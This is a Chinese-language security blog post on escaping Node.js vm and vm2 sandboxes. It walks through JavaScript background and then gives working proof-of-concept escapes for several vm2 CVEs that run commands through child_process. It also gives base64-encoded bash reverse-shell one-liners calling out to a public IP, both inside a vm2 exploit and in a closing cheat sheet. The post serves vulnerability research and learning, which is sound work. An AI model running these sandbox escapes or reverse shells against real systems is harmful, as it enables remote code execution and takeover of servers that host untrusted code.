0%

nodejs下vm2沙箱逃逸

node.js 运行在服务端的JavaScript,是一个基于Chrome JavaScript运行时建立的平台,基于Google V8引擎。

vm2沙箱 是一个独立 的环境,主要运行一些不受信任的代码,以减轻恶意代码影响运行代码的主机的风险。虽然沙箱作为隔离机制非常有用,但是需要谨慎使用,因为 存在一些沙箱逃逸可以绕过这些限制。vm2 未处理的异步错误时不能正确地传递参数给 Error.pareStackTrace的对象(sst)造成沙箱绕过,从而造成远程代码执行

前置知识

之前没学习过js 其中es6这块也更是没听说过 所以在直接看代码的时候有比较大的困惑,后面看了下一些相关文档,主要记录几个下面会用得到的东西

JavaScript相关

let/var/const

let 块级作用域 函数内部使用let定义后 对函数外部无影响

var 定义的变量可以修改 如果不初始化会输出undefined 但不会报错

const 定义的变量不可修改 且必须初始化

es6中 const的简写

const {xxx} = this.state => const xxx = this.state.xxx

const {aaa,bbb,ccc} => this const aaa = this.aaa const bbb = this.bbb const ccc =this.ccc

const {aaa:A , bbb:B } = this ?=> const A = this.aaa const B = this.B

async 异步操作相关关键字

await只能在以不含税async function内部使用

async函数中可能会有await表达式,如果在async函数执行时,遇到await后回显暂停执行,等触发的异步操作完成后,恢复async函数的执行并返回解析值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function a(){  
console.log("1")
console.log("2")
}
a()
console.log("3")
//打印: 1 2 3
async function a(){
await 1
console.log("1")
console.log("2")
}
a()
console.log("3")
//打印: 3 1 2
Proxy

Proxy 是对象的包装,将代理上的操作转发到对象,并可以选择捕获其中的一些操作,可以包装任何类型的对象,包括类和函数。

语法: let proxy = new Proxy(target, handle)

  • target 要包装的对象,可以是任何东西,包括函数
  • handle 代理配置:带有"钩子"的对象 比如get钩子用于读取target属性 set钩子用于写入target属性

e.g.

创建一个没有任何钩子的代理

1
2
3
4
5
6
let target = {};
let proxy = new Proxy (target,{}); //空的handler对象
proxy.test = 5; //写入proxy对象
console.log(target.test);
console.log(proxy.test);
for(let key in proxy) console.log(key)
img

在没有钩子情况下 所以对proxy的操作都会转发给target

  • 1.写入操作 proxy.test 会将值写入 target
  • 2.读取操作 proxy.test 会从target 返回对应的值
  • 3.迭代proxy 会从 target 返回对应的值2

在没有任何钩子情况下,proxy是一个target的透明包装

target下的一些内部方法 图片来源及参考: https://juejin.cn/post/6844904090116292616

img
Get钩子

参考 https://juejin.cn/post/6844904090116292616

利用proxy 中的 Get钩子 主要用于读取target 属性,当读取属性性会触发该方法

get(target, property, receiver)

  • target 目标对象,该对象第一个参数传递给 new proxy
  • property 目标属性名
  • received 如果目标属性是一个getter访问器属性,则 received就是本次读取属性所在的对象。通常是proxy对象本身,可以不需要该参数

使用get实现对象的默认值

通常情况下在nodejs获取不存在的数组项是将会得到 undefined,而我们将常规数组包装到代理中,以捕获读取操作 在没有此类属性的情况下返回为 0

1
2
3
4
5
6
7
8
9
10
11
12
let nums = [0,1,2]

nums = new Proxy(nums, {
get(target,prop){
if (prop in target){
return target[prop]
}else return 0;
}
});

console.log(nums[1])
console.log(nums[10])
img
prepareStackTrace 自定义异常

https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md#3.3.4%20Error.prepareStackTrace

1
Error.prepareStackTrace(error, structuredStackTrace)
  • 第一个参数是 error对象
  • 第二个参数是一个数组

Error.prepareStackTrace = function (error, callSites){ }

node.js下漏洞利用

child_process

node.js可以利用child_process模块创建子进程执行一些命令

反弹shell

VM API

以文档中的实例为例 vm运行沙箱的过程:

编译一段代码 -> 创建一个上下文隔离对象 -> 在沙箱中运行代码并返回结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script('count += 1; name = "kitty";'); //编译code

vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {
script.runInContext(context); // 在指定的下文里执行code并返回其结果
}

console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }
  • vm.createContext([sandbox])

在使用前需要先创建一个沙箱对象,在将沙箱对象传给该方法「如果没有则会生成一个空的沙箱对象」v8为这个沙箱对象在*当前的global外再创建一个作用域*,此时这个沙箱对象就是这个作用域中的全局对象,沙箱内部无法访问global中的属性

  • vm.runInThisContext(code)

在当前global下创建一个作用域(sandbox) 并将接收到的参数当做代码运行。在sandbox中可以访问到global中的属性,但无法访问其他包的属性

  • vm.runInNewContext(code[,sandbox][,options])

createContext和runInThisContext的结合版 参数为传入要执行的代码和沙箱对象

  • vm.Script类

vm.Script类型的实力包含若干预编译的脚本,这些脚本能够在特定的沙箱或者上下文中被运行

  • new vm.Script(code, options)

创建一个新的vm.Script对象 只编译代码但不会执行。 编译过的vm.Script之后可以多次被执行 code参数只绑定于每次执行它的对象

  • 注: 对于一些code参数的代码 一般都使用 ````反引号进行包裹
  • vm模块详细可参考以下:
  • https://nodejs.cn/api/vm.html
  • https://www.mianshigee.com/note/detail/27897wlr

VM沙箱逃逸

1
2
3
4
const vm = require('vm');
console.log('[*]Before Escape\n')
vm.runInNewContext('this.constructor.constructor("return process")().exit()');
console.log('[*]Over Escape\n Never Execute!');

在第三行处 vm虚拟机环境中的代码逃逸 获得了主线程的Process变量 并调用process.exit() 造成主程序非正常退出

img

以上代码主要使用了runInNewContext 函数(相当于createContext和runInThisContext)

其等价于如下代码

1
2
3
4
5
6
7
8
9
10
const vm = require('vm');
console.log('[*]Before Escape\n')

//初始化一个沙箱对象
const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);
script.runInContext(context);

console.log('[*]Over Escape\n Never Execute!');
img

VM下沙箱逃逸的利用方式

一般沙箱逃逸后都会去尝试rce,而在Node中进行RCE就需要process

在获取到process对象之后 可以通过require导入child_process,然后在利用child_process执行命令。

由于process挂载在global上,而通过API CreateContext创建的沙箱对象在golbal外,无法访问到global,所以想要实现rce就需要想办法将global中的Process引入到沙箱中。

1
2
3
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);
img

在上述代码中 主要通过 vm.runInNewContext实现逃逸来返回进程上下文环境

1
vm.runInNewContext(`this.constructor.constructor('return process.env')()`)

this指向的是当前传递给 runInNewContext的对象,这个对象不属于沙箱环境中,

我们通过获取这个对象获取其构造器「this.constructor」,再获得一个构造器对象的构造器「this.constructor.constructor」 , 最后调用这个函数的构造器生成的函数,返回值为一个Process对象。

利用toString触发

利用this.constructor.constructor

一般进行沙箱逃逸后会进行rce 在node中进行rce需要process对象,获取到process对象后,可以通过require导入child_process 在利用child_process 执行命令

1
2
3
4
const vm = require("vm");
const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);
const res = y1.mainModule.require('child_process').execSync('whoami').toString()
console.log(res);

然后通过返回的Process对象来RCE

1
vm.runInNewContext(`this.constructor.constructor('return process.env')()`).mainModule.require('child_process').execSync('whoami').toString()

https://nodejs.cn/api-v16/child_process.html#child_processexecsynccommand-options

img

利用arguments.callee.caller

将上下文对象的原型链设置为nulll,并且没有其他可引用对象时,可以使用一个函数中内置对象的属性arguments.callee.caller,它可以返回函数的调用者.

arguments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//arguments是一个Object对象
function a(){
return arguments
}
console.log(a())
console.log(a(1,2,3))
// [Arguments] {}
// [Arguments] { '0': 1, '1': 2, '2': 3 }

//caller.caller为arguments对象的一个成员,它的值为正被执行的Function对象
function ac(){
return arguments.callee
}
console.log(ac())
// [Function: ac]

//arguments.callee.caller调用当前函数的外层函数,如果是单函数无嵌套的话就是null/anonymous
function acc(){
return arguments.callee.caller
}
console.log(acc())
// [Function (anonymous)]

function acc2(){
function tset(){
return arguments.callee.caller
}
return tset();
}
console.log(acc2())
// [Function: acc2]


function acc3(){
function test2(){
function test3(){
return arguments.callee.caller
}
return test3();
}
return test2();
}
console.log(acc3())
// [Function: test2]
利用arguments.callee.caller绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require('vm')

const sandbox = {}
//context = Object.create(null);

const script =
`(() => {
const a = {}
a.toString = function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()
`
const context =new vm.createContext(sandbox); //上下文隔离对象
const res = vm.runInContext(script,context);
console.log('[*]whoami: '+ res)
img

利用Proxy代理绕过

如果沙箱外没有执行字符串相关操作来触发toString,且也无法利用恶意重写的函数时,可以使用proxy来劫持属性

通过get钩子获取对象属性RCE的利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const vm = require("vm")

//const sandbox = {}
const sandbox = Object.create(null);
const script =
`
(
()=>{
const proxy = new Proxy({}, {
get : function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return proxy
}
)()
`;

const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log("[*]whoami:" + res)

没有输出

img

调试后发现 这里 res作为输出 如果是选择res输出的话 会输出res的值 而输出一个res不存在的方法时 就会触发RCE ..... 但是在后面调试的时候 之前没有报错会返回whoami的结果 后面又触发了异常,在异常中输出了whoami的结果test (好像是whoami命令时候有点异常 换做ls命令还算正常触发了rce)

下图是调试状态下载调试控制台输出的结果

img

如果直接运行会触发异常 在异常中会输出结果 这是whomai的结果 有时候不会触发异常 不会输出结果

img

但是换成ls命令后 便可正常rce 😓@_@

img
利用异常抛出沙箱内对象

通过异常 将沙箱内的对象抛出并在外部输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");
const sandbox = {}
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('ls').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(sandbox));
}catch(e) {
console.log("error:" + e)
}
img

VM2沙箱

vm2 是在vm基础上实现的沙箱 内部调用的还是vm的API,使用JavaScript的Proxy技术来防止沙箱逃逸

(Proxy 可参考:https://juejin.cn/post/6844904090116292616)

VM2结构

vm2@3.9.14下结构如下

img

vm2@3.6.10下结构如下

img

相比新版本下,该版本的结构要简单多 便于去理解其原理

主要包括4个js文件 cli.js contextify.js main.js sandbox.js

其中 cli.js 主要是命令行的调用

img
img

contextify.js 封装了三个对象:Decontextify、Contextify 并针对 global的Buffer类进行的代理

img

sandbox.js 对global的一些函数和变量进行了hook,比如setTimeout、setInterval、setImmediate等

img

main.js 执行入口点 导出NodeVM、VM这两个沙箱环境和VMScript(封装了vm.Script)

img

VM2运行原理

1
2
3
4
5
6
7
const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));
img

图片源自https://www.anquanke.com/post/id/207283#h2-1

当创建一个VM对象后,vm2内部引入contextify.js 并对context上下文进行封装,最后再调用script.runInContext(context)。从图便可看出vm2核心操作在于针对于对context的封装上。

原理分析 调试 可参考

https://www.anquanke.com/post/id/207283#h2-3

https://blog.csdn.net/anwen12/article/details/120445707

https://0xgeekcat.github.io/%E7%AE%80%E5%8D%95%E4%BA%86%E8%A7%A3Node.js%E6%B2%99%E7%AE%B1%E7%8E%AF%E5%A2%83%E5%B9%B6%E5%88%86%E6%9E%90VM2%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html#reference

runInContext -> Decontextify.value

img

VM2下沙箱逃逸漏洞分析

CVE-2019-10761

参考

https://github.com/patriksimek/vm2/issues/197

https://github.com/advisories/GHSA-wf5x-cr3r-xr77

https://gist.github.com/JLLeitschuh/609bb2efaff22ed84fe182cf574c023a

vm2 < 3.6.11

https://github.com/advisories/GHSA-wf5x-cr3r-xr77

安装 npm i vm2@3.6.10

下载完后会在桌面下生成一恶搞node_modules 里面有安装的vm2 .... 之前没注意 因为前面安装时候是在.nvm下默认安装的

img
img
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){ }
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
img

假设最大次数为 1000 当递归到最高次数是

r(i) 递归函数

f.call(ft);

ft: this.utf8Write()

沙箱逃逸 从沙箱外获取一个对象,然后获取这个对象的constructor属性。

这个poc链通过 多次递归调用 当达到一定次数后(超过最大调用堆栈的大小),当我们正在调用沙箱外的函数时,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象

CVE-2021-23449

vm2 < 3.9.4

参考以下p牛的说法:

在JavaScript中 import()是一个语法结构,并不是一个函数,无法通过像是使用require的方法来处理import

在调用import()的结果实际上并没有经过沙箱,是一个外部变量,可以直接获取constructor进而获取到process对象来实现命令执行

1
2
let res = import('./foo.js')
console.log(res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("pwd").toString());
img

CVE-2022-36067

参考 https://www.oxeye.io/blog/vm2-sandbreak-vulnerability-cve-2022-36067

https://github.com/advisories/GHSA-mrgp-mrhc-5jrq

CVE-2023-29017

在处理异步错误时 未正确处理Error.prepareStackTrace的宿主对象 从而实现沙箱绕过。当异常发生时,可以使用Error.prepareStackTrace自定义异常

在sandbox.js中 定义类

影响版本

vm2 <= 3.9.14

同时需要 Node.js 版本满足以下条件:

Node.js > 16.14.0

Node.js > 17.4.0

Node.js 18.x

Node.js 19.x

环境搭建
安装node js

安装 nvm

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash

查看nodejs可安装版本(重启一个终端)

nvm ls-remote

安装指定版本的nodejs

nvm install v17.5.0

img
安装vm2

npm install vm2@3.9.14 (npm install 安装指定版本时 后面@加版本号即可)

漏洞分析

问题主要在于sst这个地方 没有考虑sst是否是沙箱处理过的对象,如果是一个宿主的对象,那么这个sst可以在prepareStackTrcae执行时作为参数使用

img

在漏洞修复中 使用ensureThis()函数对sst进行验证,确保该函数是经过Proxy处理的对象

img

分析文章可以参考

https://github.com/patriksimek/vm2/issues/515

https://mp.weixin.qq.com/s/OwQ3B5vjpr9ZsvOXftJoQg

https://github.com/patriksimek/vm2/commit/d534e5785f38307b70d3aac1945260a261a94d50

exp

https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d

反弹shell

1
2
3
4
5
6
7
8
9
10
11
const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==|base64 -d|bash');
};
(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);
img
1
2
3
4
5
6
7
async function aa(){
eval("1=1")
}
aa()

// 通过async产生一个未处理的异步异常
// eval()在aa函数中跑出一个语法错误来触发一个未处理的异步错误

CVE-2023-29199

影响版本 <=3.9.15

这里有篇 transformer的源码分析的文章 可参考 https://blog.csdn.net/Yy_Rose/article/details/127534335

攻击者可以使用$tmpname的标识符去绕过 handleExecption()实现沙箱逃逸到达rce的效果

漏洞分析

问题出现在transformer.js 下的transformer函数,先简单看一下transformer的代码

在transform.js中 先导入了acron(js的一个解析器) 和 acorn-walk(提供遍历) ,然后定义了一个字符串对象INTERNAL_STATE_NAME 后面也会再次用到

img

主要实现了三个函数 assertType() 、makeNiceSyntaxError()和 transformer()

img

asserType() 函数主要是返回node节点 如果节点为无效类型,则会抛出异常

makeNiceSyntaxError()`则是一个处理异常的函数 可暂且不看

有比较多的内容是对transformer()函数的实现,

img

定义一个ast, 通过acorn的解析器Parser 将js代码转换为ast.

img
img

判断CBody是否是为BlockStatement代码块语句

img
img

当通过try捕获的参数为undefined未定义时,则会抛出makeNiceSyntaxError异常,前文中的catch处将被更改内容,INTERNAL_STATE_NAME会被调用,并报错Use of internal vm2 state variable,会执行catch后的内容。

在catch的code处 ${name}=${INTERNAL_STATE_NAME}.handleException(${name}) catch($tmpname){try{throw ${INTERNAL_STATE_NAME}.handleException($tmpname);}

img

tmpname的值被定义为VM2_INTERNAL_TMPNAME

img

在poc中 攻击者构造了 a$tmpname ,经过函数处理后变为 aVM2_INTERNAL_TMPNAME,而在poc中我们已提前定义好了aVM2_INTERNAL_TMPNAME这个变量,使得这个变量作为宿主对象可以未经保护直接使用,从而实现了对handleException()的绕过

poc https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

CVE-2023-30547

<= 3.9.16

POC https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

nodejs下漏洞利用

反弹shell

bash -i >& /dev/tcp/106.52.221.71/8888 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==

require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==|base64 -d|bash');

require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==|base64 -d|bash');

bash -i >& /dev/tcp/127.0.0.1/80 0>&1

看一下 child_process 子进程相关手册 https://nodejs.cn/api-v16/child_process.html

https://xz.aliyun.com/t/9167 nodejs下漏洞利用

child_process模块

1
2
3
4
5
6
7
8
9
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAgMD4mMQ==|base64 -d|bash');

require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODAgMD4mMQ==|base64 -d|bash');

bash -i >& /dev/tcp/127.0.0.1/80 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODAgMD4mMQ==

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

References

https://nvd.nist.gov/vuln/detail/CVE-2023-29017

https://xz.aliyun.com/t/11859

https://mp.weixin.qq.com/s/OwQ3B5vjpr9ZsvOXftJoQg

https://juejin.cn/post/6844904090116292616

https://xz.aliyun.com/t/9167

https://www.cnblogs.com/zpchcbd/p/16899212.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------